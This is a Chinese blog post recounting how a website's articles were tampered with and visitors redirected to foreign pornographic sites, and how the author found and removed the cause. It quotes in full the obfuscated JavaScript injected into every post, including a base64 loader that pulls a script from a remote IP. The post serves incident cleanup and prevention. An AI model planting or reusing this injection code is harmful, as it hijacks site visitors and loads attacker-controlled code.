去年10月开始,网站经常有文章被莫名其妙的篡改,而且后面还经常出现跳转到色情网站的问题,让人烦不胜烦,困扰了好几个月,最后终于解决了。这里特次记录和总结下此次恼人的事件。
时间:2018年10月
问题:
1.编辑经常会在后台编辑中发现文章被改成全英文的了,并且以前的文章也会被改成英文的。而我们的网站本身是中文网站,也没有要做英文网站的打算。
2.打开网页后1,2秒后,网站会自动跳转到国外的色情网站。
查找:
刚开始有点没方向,杀毒软件,手动查找可疑文件都试过,但是病毒依然。后来还咨询过专业网络防护公司,但是价格动辄几万,确实负担不起。
ps:有些外文杀毒网站提供的软件,明确表示就是我们中招的那种,但是下载后仅能检测,要杀毒还要另外购买。而且实际也没检测出问题。
分析:
之前的各种尝试把人整得有点晕了,还是要回到问题本身,冷静分析一下。
1)服务器上同时有几个网站,但唯独只有一个站有问题。那么病毒只会在这个站的文件或者数据库里面。
2)网站的后台并没有被感染,只有前台的页面才有。前后端的差异最大的就是内容的发布。那么病毒可能跟内容发布有关。
得到上面不算严谨的推论后,我自己也是将信将疑。在前端打开审查代码,果然有一条跳转到境外的失败的信息。
然后忐忑地打开后台查找问题发布的地方。竟然就是在每段内容的最后被加入了一段重定向代码!
内容即:
1 <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->
是乌克兰的ip
清理:
把这段代码删除后,网站就恢复原貌了。
网站上几乎所有的文章都被感染了,篡改的时间也是从傍晚一直到深夜。
虽然我是手动清除的病毒,其实还有更简便的方法。
https://blog.csdn.net/eeliangsoft/article/details/84293963
https://stackoverflow.com/questions/52249409/how-to-remove-scripts-in-posts-from-an-sql-injection-attack
原因:
网上查到一种原因 https://www.ithome.com.tw/news/88176
“電子前線基金會(Electronic Frontier Foundation)技術人員Yan Zhu在個人部落格上公開WordPress的安全漏洞指出,WordPress用來紀錄使用者登入憑證的cookie並未加密,而是用明文顯示,使得在公開網路使用WordPress的用戶都有帳號被挾持的風險。”
由上推断可能是因为在网站或浏览器中使用了记住密码,黑客从浏览器获取了cookie中的账号密码,从而登录篡改网站内容。
所以在登录网站的时候,从安全角度最好不使用“记住密码”,特别是在http的网站上。
综合:
在网站管理中,尽量不用记住密码的功能,特别实在http的网站中。
如果网站被黑,先定位问题的位置,再做打算。